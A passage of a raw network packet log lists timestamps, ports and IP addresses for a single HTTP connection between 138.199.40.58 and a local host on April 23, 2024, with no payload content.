Apr 23, 2024 08:39:59.250808001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.250848055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.250869989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.250893116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.250951052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.250978947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.250992060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.250998974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.251055956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.251115084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251127958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251169920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251173019 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.251183033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251209974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251230001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.251252890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251274109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.251410007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251440048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251461029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.251492977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251555920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251564980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.251605988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251621008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251640081 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.251662016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251727104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251739979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251746893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.251902103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251921892 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.251944065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.251996040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.252017021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.252055883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.252192974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.252213955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.252295971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.252341986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.252379894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.252399921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.252432108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.252501965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.252515078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.252554893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.252573967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.252607107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.252801895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.252815008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.252854109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.252862930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.252862930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.252907038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.252935886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.252958059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.252993107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.253053904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.253067017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.253074884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.253144979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.253166914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.253227949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.253283024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.253359079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.253379107 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.253441095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.253457069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.253510952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.253619909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.253633022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.253640890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.253706932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.253726959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.253793955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.253875017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.253895998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.253895998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.253957987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.253978968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.254000902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.254040956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.254070044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.254087925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.254138947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.254160881 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.254224062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.254236937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.254247904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.254292011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.254292011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.254298925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.254415035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.254563093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.254627943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.254658937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.254698038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.254822016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.254834890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.254939079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.254952908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.255084038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.255132914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.255155087 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.255161047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.255173922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.255213022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.255219936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.255285978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.255371094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.255412102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.255433083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.255480051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.255492926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.255501032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.255505085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.255512953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.255527973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.255569935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.255590916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.255637884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.255881071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.255940914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.256146908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.256171942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.256211042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.256211042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.256256104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.256418943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.256532907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.256546974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.256553888 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.256582975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.256603003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.256625891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.256700039 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.256776094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.256808043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.256822109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.256892920 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.256907940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.256932020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.256974936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.257040024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.257078886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.257100105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.257136106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.257205009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.257215977 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.257237911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.257339001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.257435083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.257586956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.257601023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.257611990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.257622957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.257637024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.257642984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.257649899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.257671118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.257671118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.257751942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.257766008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.257813931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.257822037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.257850885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.257869959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.258043051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.258090019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.258111000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.258214951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.258229017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.258280993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.258296967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.258332968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.258346081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.258352995 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.258382082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.258395910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.258402109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.258419991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.258440018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.258472919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.258516073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.258605957 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.258965969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259042978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259063005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.259135008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259167910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259191990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259212017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.259315968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.259336948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259349108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259361029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259372950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259393930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.259547949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259569883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.259593010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259604931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259615898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259655952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.259655952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.259690046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259736061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259761095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259782076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.259804010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259860039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259877920 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.259890079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.259957075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260009050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260021925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260030031 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.260035038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260041952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.260067940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260087967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.260150909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260169029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260179996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260190964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260204077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260210037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.260215998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260236979 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.260236979 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.260241032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260252953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260312080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260334969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.260364056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.260727882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260795116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260831118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260844946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260886908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.260886908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.260910034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.260987043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.261115074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.261126995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.261137009 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.261219025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.261234999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.261300087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.261353016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.261389017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.261411905 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.261425972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.261446953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.261478901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.261557102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.261645079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.261667013 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.261684895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.261706114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.261749983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.261851072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.262305975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.262656927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.262695074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.262727976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.262752056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.262774944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.262788057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.262795925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.262799025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.262819052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.262824059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.262860060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.262871981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.262893915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.262907028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.262984037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.262995958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263005018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263009071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263022900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263027906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263046980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263060093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263067961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263073921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263092041 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263098001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263119936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263119936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263143063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263160944 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263183117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263195992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263217926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263238907 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263251066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263263941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263272047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263313055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263326883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263339043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263351917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263395071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263406038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263407946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263421059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263432980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263439894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263456106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263468981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263478994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263492107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263499975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263514996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263535023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263556004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263592958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263600111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263612032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263624907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263686895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263695002 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263711929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263731956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263735056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263780117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263803005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263866901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263879061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263945103 CEST	80	49705	138.199.40.58	192.168.2.7
